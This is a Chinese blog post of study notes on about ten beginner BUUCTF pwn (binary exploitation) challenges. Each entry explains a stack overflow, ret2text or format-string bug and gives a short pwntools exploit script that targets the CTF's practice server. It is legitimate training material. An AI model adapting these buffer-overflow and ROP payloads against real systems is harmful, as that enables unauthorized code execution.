BUUCTF PWN刷題筆記(1-9)

才知道,由于棧對齊,直接動調看棧估計會錯,用cyclic看

1.test_your_nc

NC連接一下,這個網站似乎直接訪問是不中的,懷疑是沒開啟web的端口。NC鏈接輸入cat flag就OK了,應該只是讓我這樣的小菜鳥培養自信用的。

2.rip

checksec后發現可以進行棧溢出操作。運行一下看看。直接就是讓輸入東西。進IDA看看。

果然有后門函數。顯然是ret2text類型,直接進行溢出即可。分析棧結構易知首先要溢出15+8個字節才可以到rip地方。

這是動調結果。看到-008那個地方村的實際上是字符串的結尾應該。看出其中距離80-70=16.但是實際上不應該是s占15嗎,我也是百思不得其解。回想起課程來看,應該是GDB本身的地址可能有時候有誤差,還是要結合IDA來看。

由于不擅長動調拿地址,這里就不獻丑了,再學習學習吧。看IDA是可以直接看出溢出的。

exp:

這里需要考慮站平衡,看有的人說是BUUCTF虛擬機的規定。我現在簡單的理解就是不破壞棧幀結構,即不要執行push之類的操作改變棧幀。

from pwn import *p=remote('node5.buuoj.cn',27494)payload=b'A'*(23)+p64(0x0401186)p.sendline(payload)p.interactive()

?3.warmup_csaw_2016

可以進行棧溢出,而且還是棧可執行!

看到后門函數,而且main函數執行完畢自動執行gets函數。現在就很明確了。

這次挑戰用動調拿到偏移量。看到0x61是我們輸入的a的ASCII碼,結合rax常用來儲存這類信息,很明確最后的gets函數輸入的內容就在這里了。那么我們就可以進行棧溢出,偏移量首先+64+8,最后溢出地址考慮一下站平衡即可。

exp:

from pwn import *p=remote('node5.buuoj.cn',27676)payload=b'A'*(64+8)+p64(0x00400611)p.sendline(payload)p.interactive()

4.ciscn_2019_n_1

看到了別人的博客,決定先解決這一道題。由于對動調還不熟練,所以我在IDA里面看了棧結構,同時注意到沒有開啟任何保護,發現可以進行棧溢出,應該是修改指定變量值為要求的即可。這里要注意一點,也是我出錯的地方,float類型不可以直接跟字符串,需要轉為16進制后用p64這個函數進行解決。

以下是常規思路(sendline會發送一個回車,表示輸出結束)


from pwn import *
p=remote('node5.buuoj.cn',26700)
payload=b'A'*0x2c+p64(0x41348000)
p.sendline(payload)
p.interactive()

還有一種方法,覆蓋EIP的值,直接跳轉到bin/sh,看看可以不。看圖,我們需要溢出到r,顯然需要將s也覆蓋了。看灰色地址,8是r的開始,所以我們要覆蓋上面的0x30和下面的8.返回地址恰好就是給system函數給參數的,見圖二

exp:


from pwn import *
p=remote('node5.buuoj.cn',26700)
payload=b'A'*56+p64(0x04006BE)
p.sendline(payload)
p.interactive()

5.pwn1_sctf_2016?

還是先檢查保護發現可以棧溢出。

調用了這一坨函數,看著很差勁。 讓豆包逐行解釋吧。最后也是勉強看懂一點點,這個里面的代碼豆包說也不符合規范什么的,勉強著看吧。

std::allocator?是 C++ 標準庫中的一個模板類,定義在?<memory>?頭文件中,主要用于為容器(如?std::vectorstd::list?等)或其他需要動態內存分配的對象管理內存的分配和釋放。

這題也有后門函數,顯然是用棧溢出了,關鍵就是看fgets這個函數。我們IDA看棧幀,大膽推測只要一直往下溢出就行,看空間一共是0x3c,然后傳入返回地址。看樣子這樣做沒問題,試試吧。

從運行結果看,edata確實是緩沖區,但是估計地址計算出錯,動調看看即可。

rax這里存的是字符串。看樣子字符串距離ebp60,ebp自己是4,我們再次修改腳本運行看。還是錯誤的。估計還是拿錯地址了,我們繼續動調一次。這次讓他多運行幾行代碼。?

看樣子變化還是不多大,仔細想一想,難道是地址找錯了。?看一下其他人的WP吧。

從題海中入門(五)pwn1_sctf_2016 - FreeBuf網絡安全行業門戶

(buuctf) - pwn入門部分wp - rip -- pwn1_sctf_2016 - J1ay - 博客園

其實,replace函數實現了將I替換為you,這里可以后期動調得到。實際上,fgets函數已經限制了讀取的字節數,這可不像gets函數那樣危險!

接下來,我們開始編寫腳本。一個I會換成3個字節,60個字節除以3,就是20,也就是0x14!對于函數,還是看不太透徹,還需要多多練習。

exp:

from pwn import *p=remote('node5.buuoj.cn',29365)payload=b'I'*(0x14)+b'AAAA'+p32(0x08048F13)p.sendline(payload)p.interactive()

6.jarvisoj_level0?

咋一看感覺很簡單呀,這脆弱函數比上面的第五題容易多了。

exp:

from pwn import *p=remote('node5.buuoj.cn',29231)payload=b'I'*(128+8)+p64(0x040059A)p.sendline(payload)p.interactive()

7.[第五空間2019 決賽]PWN5

首先分析main函數。

注意看,解鎖/bin/sh必須保證4字節的數是對上號的。但是這四字節的數字我們并不知道,也不可能在人家服務器上動調獲得,那怎么辦嘛?

參考c929_bt大佬的博客(BUU:[第五空間2019 決賽]PWN5_buuctf 第五空間2019 pwn5-CSDN博客發現,原來可以利用棧溢出覆蓋這串數字。這樣就可以為我們所操控了。

恰好看棧結構,nptr在buf上面,所以我們溢出后也不影響nptr的輸入,真是美滋滋。推測4字節的Var_c是校驗值。整體思路是首先填充0x70-0xd個垃圾數據給buf,然后填充4個有效字符給校驗值,最后輸入對應的校驗值就可以了。現在開始寫腳本

首次嘗試發現不對,那說明我們的思路錯誤了。可能那個地方不是校驗值。

實際上有棧保護,無法溢出。

其實這里要用格式化字符串漏洞,詳見c929_bt大佬的博客BUU:[第五空間2019 決賽]PWN5_buuctf 第五空間2019 pwn5-CSDN博客??

8.?jarvisoj_level2

估計也可以棧溢出,進去看看。

這道題有意思,只給了system函數,參數卻不是/bin/sh,所以我們應該需要使用函數參數入棧的知識。ROPgadget我這邊掃不出來東西,那估計不是ROP。想想咋給/bin/sh入棧。。。

沒思路了,求救WP。以及參考了hello-ctf。發現其實32位ROP不需要pop鏈條。

BUUCTF—jarvisoj_level2 - 予柒 - 博客園

WP:在我的攻防世界BLOG里面有原題。

from pwn import *
p=remote('node5.buuoj.cn',28501)
sys=0x8048320
binsh=0x804A024
payload=b'a'*(0x88+0x4)+p32(sys)+b'aaaa'+p32(binsh)
p.sendline(payload)
p.interactive()

9.ciscn_2019_n_8?

思路同第四題。


from pwn import *
p=remote('node5.buuoj.cn',29557)
payload=b'A'*13*4+p64(0x11)
p.sendline(payload)
p.interactive()

10.bjdctf_2020_babystack

看樣子是棧溢出。 分析下列代碼可知,read會讀取我們輸入的指定字節的數據,這點就是突破,而程序已經有一個backdoor函數,只需要ret2text即可。發現IDA給的偏移量有一點問題,還是動調。

exp:

from pwn import *
p=remote('node5.buuoj.cn',28997)
addr=0x4006EA
payload=b'a'*24+p64(addr)
p.sendline('100')
p.sendline(payload)
p.interactive()

?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/79969.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/79969.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/79969.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

C#處理網絡傳輸中不完整的數據流

1、背景 在讀取byte數組的場景&#xff08;例如&#xff1a;讀取文件、網絡傳輸數據&#xff09;中&#xff0c;特別是網絡傳輸的場景中&#xff0c;非常有可能接收了不完整的byte數組&#xff0c;在將byte數組轉換時&#xff0c;因字符的缺失/增多&#xff0c;轉為亂碼。如下…

PostgreSQL 用戶資源管理

PostgreSQL 用戶資源管理 PostgreSQL 提供了多種機制來管理和限制用戶對數據庫資源的使用&#xff0c;以下是全面的資源管理方法&#xff1a; 1 連接限制 1.1 限制最大連接數 -- 在 postgresql.conf 中設置 max_connections 100 -- 全局最大連接數-- 為特定用戶設置連接限…

新書速覽|OpenCV計算機視覺開發實踐:基于Qt C++

《OpenCV計算機視覺開發實踐:基于Qt C》 本書內容 OpenCV是計算機視覺領域的開發者必須掌握的技術。《OpenCV計算機視覺開發實踐:基于Qt C》基于 OpenCV 4.10與Qt C進行編寫&#xff0c;全面系統地介紹OpenCV的使用及實戰案例&#xff0c;并配套提供全書示例源碼、PPT課件與作…

【上位機——MFC】消息映射機制

消息映射機制 Window消息分類消息映射機制的使用代碼示例 MFC框架利用消息映射機制把消息、命令與它們的處理函數映射起來。具體實現方法是在每個能接收和處理消息的類中&#xff0c;定義一個消息和消息函數指針對照表&#xff0c;即消息映射表。 在不重寫WindowProc虛函數的大…

docker學習筆記2-最佳實踐

一、在容器中啟動mysql的最佳實踐 &#xff08;一&#xff09;查找目錄 1、mysql的配置文件路徑 /etc/mysql/conf.d 2、mysql的數據目錄 /var/lib/mysql 3、環境變量 4、端口 mysql的默認端口3306。 &#xff08;二&#xff09;啟動命令 docker run -d -p 3306:3306 …

Vue3核心源碼解析

/packages/complier-core 定位??&#xff1a;??編譯時核心??&#xff0c;處理 Vue 模板的編譯邏輯。??核心功能??&#xff1a; ??模板解析??&#xff1a;將 .vue 文件的模板語法&#xff08;HTML-like&#xff09;解析為 ??抽象語法樹 (AST)??。??轉換優化…

n8n 中文系列教程_05.如何在本機部署/安裝 n8n(詳細圖文教程)

n8n 是一款強大的開源工作流自動化工具&#xff0c;可幫助你連接各類應用與服務&#xff0c;實現自動化任務。如果你想快速體驗 n8n 的功能&#xff0c;本機部署是最簡單的方式。本教程將手把手指導你在 Windows 或 MacOS 上通過 Docker 輕松安裝和運行 n8n&#xff0c;無需服務…

【python】pyCharm常用快捷鍵使用-(2)

pyCharm常用快捷鍵使用 快速導入任意類 【CTRLALTSPACE】代碼補全【CTRLSHIFTENTER】代碼快速修正【ALTENTER】代碼調試快捷鍵

Docker 鏡像、容器和 Docker Compose的區別

前言&#xff1a;Docker 的鏡像、容器和 Docker Compose 是容器化技術的核心組件&#xff0c;以下是對它們的詳細解析及使用場景說明。 ??1、Docker 鏡像&#xff08;Image&#xff09;?? ??定義??&#xff1a; 鏡像是只讀模板&#xff0c;包含運行應用程序所需的代碼、…

算法——背包問題(分類)

背包問題&#xff08;Knapsack Problem&#xff09;是一類經典的組合優化問題&#xff0c;廣泛應用于資源分配、投資決策、貨物裝載等領域。根據約束條件和問題設定的不同&#xff0c;背包問題主要分為以下幾種類型&#xff1a; 1. 0-1 背包問題&#xff08;0-1 Knapsack Probl…

多路由器通過RIP動態路由實現通訊(單臂路由)

多路由器通過RIP動態路由實現通訊&#xff08;單臂路由&#xff09; R1(開啟端口并配置IP) Router>en Router#conf t Router(config)#int g0/0 Router(config-if)#no shu Router(config-if)#no shutdown Router(config-if)#ip add 192.168.10.254 255.255.255.0 Router(c…

從底層設計原理分析并理解SQL 的執行順序

?一、執行順序的底層設計原理?? ??1. 數據源的確定與連接&#xff08;FROM → ON → JOIN&#xff09;?? ??FROM??&#xff1a;數據庫首先需要確定數據的物理來源&#xff0c;從磁盤加載表或子查詢的原始數據。此時尚未應用任何篩選&#xff0c;僅讀取元數據&#…

游戲引擎學習第237天:使用 OpenGL 顯示圖像

win32_game.cpp: 禁用 PFD_DOUBLEBUFFER 我們正在處理一個新的開發階段&#xff0c;目標是在使用 OpenGL 渲染的同時能正常通過 OBS 進行直播。昨天我們已經嘗試了一整天來解決這個問題&#xff0c;希望能找到一種方式讓 OBS 能正確地捕捉到 OpenGL 的窗口畫面。雖然我們不確定…

(二)mac中Grafana監控Linux上的MySQL(Mysqld_exporter)

框架&#xff1a;GrafanaPrometheusMysqld_exporter 一、監控查看端安裝 Grafana安裝-CSDN博客 普羅米修斯Prometheus監控安裝&#xff08;mac&#xff09;-CSDN博客 1.啟動Grafana服務 brew services start grafana 打開瀏覽器輸入http://localhost:3000進入grafana登錄…

GitHub 趨勢日報 (2025年04月17日)

本日報由 TrendForge 系統生成 https://trendforge.devlive.org/ &#x1f4c8; 今日整體趨勢 Top 10 排名項目名稱項目描述今日獲星總星數語言1Anduin2017/HowToCook程序員在家做飯方法指南。Programmer’s guide about how to cook at home (Simplified Chinese onl…? 224…

(一)mac中Grafana監控Linux上的CPU等(Node_exporter 安裝使用)

框架&#xff1a;GrafanaPrometheusNode_exporter 機器狀態監控(監控服務器CPU,硬盤&#xff0c;網絡等狀態) Node_exporter安裝在被測服務器上&#xff0c;啟動服務 各步驟的IP地址要換為被測服務器的IP地址Prometheus.yml的 targets值網頁訪問的ip部分grafana添加數據源的…

java IO/NIO/AIO

(?▽?)曼波~~~~&#xff01;讓曼波用最可愛的賽馬娘方式給你講解吧&#xff01;(? ???ω??? ?) &#x1f3a0;曼波思維導圖大沖刺&#xff08;先看框架再看細節哦&#xff09;&#xff1a; &#x1f4da; 解釋 Java 中 IO、NIO、AIO 的區別和適用場景&#xff1a; …

Silverlight發展歷程(微軟2021年已經停止支持Silverlight 5)

文章目錄 Microsoft Silverlight 發展歷程引言起源與背景&#xff08;2006-2007&#xff09;互聯網技術格局與微軟的挑戰WPF/E 項目的啟動 Silverlight 1.0 的誕生&#xff08;2007&#xff09;正式命名與首次發布初步的市場定位 Silverlight 2.0&#xff1a;真正的突破&#x…

【大數據、數據開發與數據分析面試題匯總(含答案)】

在大數據、數據開發與數據分析領域的面試中&#xff0c;扎實掌握各類知識點至關重要。以下是精心整理的面試題&#xff0c;涵蓋單選題和多選題&#xff0c;助你備考一臂之力。 試題目錄 大數據、數據開發與數據分析高頻面試題解析1. 數據倉庫分層架構設計2. 維度建模與范式建模…

Docker部署禪道21.6開源版本

將數據庫相關環境變量分開&#xff0c;增加注釋或空格使得命令更易讀。 如果你的 MySQL 主機、端口等配置沒有變化&#xff0c;應該確保這些信息是安全的&#xff0c;并考慮使用 Docker secrets 或環境變量配置來避免直接暴露敏感信息。 docker run -d -it --privilegedtrue …